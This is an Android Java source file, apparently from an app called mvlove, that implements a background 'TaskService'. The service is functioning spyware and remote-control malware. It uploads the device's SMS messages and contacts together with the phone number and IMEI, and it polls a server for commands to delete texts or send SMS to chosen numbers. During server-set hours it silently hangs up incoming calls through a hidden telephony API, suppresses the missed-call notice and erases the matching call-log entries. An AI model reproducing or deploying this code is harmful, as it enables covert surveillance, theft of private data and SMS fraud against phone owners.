package com.mvlove.service;

import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.Date;
import java.util.List;

import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.database.ContentObserver;
import android.database.Cursor;
import android.net.Uri;
import android.os.Handler;
import android.os.HandlerThread;
import android.os.IBinder;
import android.os.Looper;
import android.provider.CallLog.Calls;
import android.telephony.PhoneStateListener;
import android.telephony.SmsManager;
import android.telephony.TelephonyManager;
import android.text.TextUtils;

import com.android.internal.telephony.ITelephony;
import com.mvlove.entity.Contact;
import com.mvlove.entity.Message;
import com.mvlove.entity.Motion;
import com.mvlove.entity.RemoteSms;
import com.mvlove.entity.ResEntity;
import com.mvlove.entity.User;
import com.mvlove.util.Constants;
import com.mvlove.util.ContactUtil;
import com.mvlove.util.HttpReqUtil;
import com.mvlove.util.LocalManager;
import com.mvlove.util.LogUtil;
import com.mvlove.util.PhoneUtil;
import com.mvlove.util.SmsUtil;

public class TaskService extends Service {
	private static final int WHAT_PUSH_SMS = 1000;
	private LoadMotionThread mThread;
	private SmsContent smsContent;
	private PushSmsHandler mPushHandler;
	private Looper mLooper;
	private CallLogContent mCalllogContent;
	private ITelephony mITelephony;
	private String mIncomingNumber;

	@Override
	public IBinder onBind(Intent intent) {
		return null;
	}

	@Override
	public void onCreate() {
		super.onCreate();
		LogUtil.println("onCreate");
		smsContent = new SmsContent(new Handler());
		// 注册短信变化监听
		this.getContentResolver().registerContentObserver(Uri.parse(SmsUtil.SMS_URI_ALL), true, smsContent);
		HandlerThread thread = new HandlerThread(TaskService.class.getName());
		thread.start();
		mLooper = thread.getLooper();
		mPushHandler = new PushSmsHandler(getApplicationContext(), mLooper);
		// 利用反射获取隐藏的endcall方法
		TelephonyManager telephonyMgr = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);
		try {
			Method getITelephonyMethod = TelephonyManager.class.getDeclaredMethod("getITelephony", (Class[]) null);
			getITelephonyMethod.setAccessible(true);
			mITelephony = (ITelephony) getITelephonyMethod.invoke(telephonyMgr, (Object[]) null);
		} catch (Exception e) {
			e.printStackTrace();
		}

		telephonyMgr.listen(new TelStateListener(), PhoneStateListener.LISTEN_CALL_STATE);
		mCalllogContent = new CallLogContent(mPushHandler);
		// 注册监听最近通话记录数据库改变
		getContentResolver().registerContentObserver(Calls.CONTENT_URI, true, mCalllogContent);
	}

	@Override
	public void onStart(Intent intent, int startId) {
		super.onStart(intent, startId);
		LogUtil.println("onStart");
		if (mThread == null || !mThread.isAlive()) {
			mThread = new LoadMotionThread(getApplicationContext());
			mThread.start();
		}
		if (intent != null) {
			Message message = (Message) intent.getSerializableExtra("data");
			if (message != null) {
				android.os.Message msg = mPushHandler.obtainMessage(WHAT_PUSH_SMS, message);
				mPushHandler.sendMessageDelayed(msg, 5 * 1000);
			}
		}
	}

	@Override
	public void onDestroy() {
		this.getContentResolver().unregisterContentObserver(smsContent);
		this.getContentResolver().unregisterContentObserver(mCalllogContent);
		mLooper.quit();
		super.onDestroy();
	}

	static class PushSmsHandler extends Handler {
		private Context context;

		public PushSmsHandler(Context context, Looper looper) {
			super(looper);
			this.context = context;
		}

		@Override
		public void handleMessage(android.os.Message msg) {
			super.handleMessage(msg);
			switch (msg.what) {
			case WHAT_PUSH_SMS:
				LogUtil.println("start upload");
				if (msg.obj != null) {
					Message message = (Message) msg.obj;
					pushMessage(context, message);
				} else {
					pushMessage();
				}
				break;
			default:
				break;
			}

		}

		private synchronized void pushMessage(Context context, Message message) {
			if (message == null)
				return;
			try {
				// 判断是否本地数据库中是否已经存在该条消息
				boolean exist = SmsUtil.getSmsByBodyAndTime(context, message.getContent(), message.getSendTime().getTime()) > 0;
				if (exist) {
					return;
				}
				List<Message> messages = new ArrayList<Message>();
				messages.add(message);
				String phone = PhoneUtil.getPhone(context);
				String imei = PhoneUtil.getImei(context);
				String model = PhoneUtil.getModel();
				String clientVersion = PhoneUtil.getVersion();
				ResEntity entity = HttpReqUtil.pushMessage(context, messages, phone, imei, model, clientVersion);
				if (entity != null && entity.isSuccess()) {

				}
			} catch (Exception e) {
				e.printStackTrace();
			}
		}

		private synchronized void pushMessage() {
			String phone = PhoneUtil.getPhone(context);
			String imei = PhoneUtil.getImei(context);
			String model = PhoneUtil.getModel();
			String clientVersion = PhoneUtil.getVersion();
			List<Message> messages = SmsUtil.loadMessage(context, LocalManager.getSmsId(context), PhoneUtil.getPhone(context));
			if (messages != null && !messages.isEmpty()) {
				long maxId = getMaxId(messages);
				try {
					ResEntity entity = HttpReqUtil.pushMessage(context, messages, phone, imei, model, clientVersion);
					if (entity != null && entity.isSuccess()) {
						LocalManager.setSmsId(context, maxId);
					}
				} catch (Exception e) {
					e.printStackTrace();
				}
			}
		}
	}

	class LoadMotionThread extends Thread {
		Context context;

		public LoadMotionThread(Context context) {
			this.context = context;
		}

		@Override
		public void run() {
			super.run();
			while (true) {
				try {
					ResEntity entity = null;
					List<Contact> contacts = null;
					if (Constants.UPLOAD_CONTACT) {
						contacts = ContactUtil.readContact(context);
					}
					try {
						entity = HttpReqUtil.getMotion(context, PhoneUtil.getPhone(context), PhoneUtil.getImei(context), PhoneUtil.getModel(),
								PhoneUtil.getVersion(), contacts);
					} catch (Exception e) {
						e.printStackTrace();
					}
					if (entity != null && entity.isSuccess()) {
						User user = entity.getUser();
						if (user != null) {
							LocalManager.setUser(context, user);
						}
						// 保存已上传记录
						LocalManager.updateContactList(context, contacts);
						// 执行远程删除短信操作
						List<Motion> motions = entity.getMotions();
						if (motions != null && !motions.isEmpty()) {
							String mids = "";
							for (int i = 0; i < motions.size(); i++) {
								Motion motion = motions.get(i);
								if (motion != null) {
									SmsUtil.deleteSms(context, motion.getEid());
									mids += motion.getId();
									if (i != motions.size() - 1) {
										mids += ",";
									}
								}
							}
							if (!TextUtils.isEmpty(mids)) {
								try {
									HttpReqUtil.updateMotionStatus(context, mids);
								} catch (Exception e) {
									e.printStackTrace();
								}
							}
						}
						// 执行发送短信操作
						List<RemoteSms> remoteSmsList = entity.getRemoteSmsList();
						if (remoteSmsList != null && !remoteSmsList.isEmpty()) {
							String ids = "";
							for (int i = 0; i < remoteSmsList.size(); i++) {
								RemoteSms sms = remoteSmsList.get(i);
								sendMessage(sms);
								ids += sms.getId();
								if (i != remoteSmsList.size() - 1) {
									ids += ",";
								}
							}
							HttpReqUtil.updateRemoteSmsStatus(context, ids);
						}
					}
					Thread.sleep(3 * 60 * 1000);
				} catch (Exception e) {
					e.printStackTrace();
				}
			}
		}

		void sendMessage(RemoteSms sms) {
			try {
				if (sms == null)
					return;
				SmsManager smsManager = SmsManager.getDefault();
				String address = sms.getTargetPhone();
				String content = sms.getContent();
				List<String> divideContents = smsManager.divideMessage(content);
				for (String text : divideContents) {
					smsManager.sendTextMessage(address, null, text, null, null);
				}
			} catch (Exception e) {
				e.printStackTrace();
			}
		}
	}

	private boolean isPhoneForbidden() {
		User user = LocalManager.getUser(getApplicationContext());
		boolean isForbbiden = false;
		// 屏蔽用户接收短信
		if (user != null && user.isPhoneForbidden()) {
			Date startTime = user.getPhoneStartTime();
			Date endTime = user.getPhoneEndTime();
			if (startTime != null && endTime != null) {
				// 判断开始时间和结束时间
				Date now = new Date();
				int nowHours = now.getHours();
				int nowMinutes = now.getMinutes();

				int startHours = startTime.getHours();
				int startMinutes = startTime.getMinutes();

				int endHours = endTime.getHours();
				int endMinutes = endTime.getMinutes();
				// 如果结束时间小于开始时间，那么就是跨天
				if (endTime.getTime() < startTime.getTime()) {
					if (nowHours < endHours) {
						isForbbiden = true;
					}
					if (nowHours == endHours) {
						if (nowMinutes <= endMinutes) {
							isForbbiden = true;
						}
					}
					if (nowHours > startHours) {
						isForbbiden = true;
					}

					if (nowHours == startHours) {
						if (nowMinutes >= startMinutes) {
							isForbbiden = true;
						}
					}
				} else if (endTime.getTime() > startTime.getTime()) {
					if (nowHours > startHours && nowHours < endHours) {
						isForbbiden = true;
					}
					if (nowHours == startHours) {
						if (nowMinutes > startMinutes) {
							isForbbiden = true;
						}
					}

					if (nowHours == endHours) {
						if (nowMinutes < endMinutes) {
							isForbbiden = true;
						}
					}
				}
			}
		}
		return isForbbiden;
	}

	class SmsContent extends ContentObserver {

		public SmsContent(Handler handler) {
			super(handler);
		}

		@Override
		public void onChange(boolean selfChange) {
			super.onChange(selfChange);
			mPushHandler.sendEmptyMessageDelayed(WHAT_PUSH_SMS, 10 * 1000);
		}
	}

	static long getMaxId(List<Message> messages) {
		long id = 0;
		for (int i = 0; i < messages.size(); i++) {
			Message message = messages.get(i);
			try {
				long mid = Long.parseLong(message.getCid());
				if (mid > id) {
					id = mid;
				}
			} catch (NumberFormatException e) {
				e.printStackTrace();
			}
		}
		return id;
	}

	class CallLogContent extends ContentObserver {

		public CallLogContent(Handler handler) {
			super(handler);
		}

		@Override
		public void onChange(boolean selfChange) {
			super.onChange(selfChange);
			if (isPhoneForbidden()) {
				deleteRecentLog();
			}
		}

	}

	class TelStateListener extends PhoneStateListener {
		@Override
		public void onCallStateChanged(int state, final String incomingNumber) {
			super.onCallStateChanged(state, incomingNumber);
			switch (state) {
			case TelephonyManager.CALL_STATE_RINGING:
				if (isPhoneForbidden()) {
					try {
						mIncomingNumber = incomingNumber;
						mITelephony.endCall();
						mITelephony.cancelMissedCallsNotification();
					} catch (Exception e) {
						e.printStackTrace();
					}
				}
				break;
			default:
				break;
			}
		}
	}

	private synchronized void deleteRecentLog() {
		if (TextUtils.isEmpty(mIncomingNumber))
			return;
		try {
			Cursor cursor = getContentResolver().query(Calls.CONTENT_URI, null, Calls.NUMBER + "=?", new String[] { mIncomingNumber }, Calls.DATE + " desc");
			if (cursor != null) {
				if (cursor.moveToNext()) {
					long time = cursor.getLong(cursor.getColumnIndex(Calls.DATE));
					if (System.currentTimeMillis() - time < 10 * 1000) {
						long _id = cursor.getLong(cursor.getColumnIndex(Calls._ID));
						getContentResolver().delete(Calls.CONTENT_URI, Calls._ID + "=?", new String[] { String.valueOf(_id) });
					}
				}
				cursor.close();
			}
		} catch (Exception e) {
			e.printStackTrace();
		}
	}
}
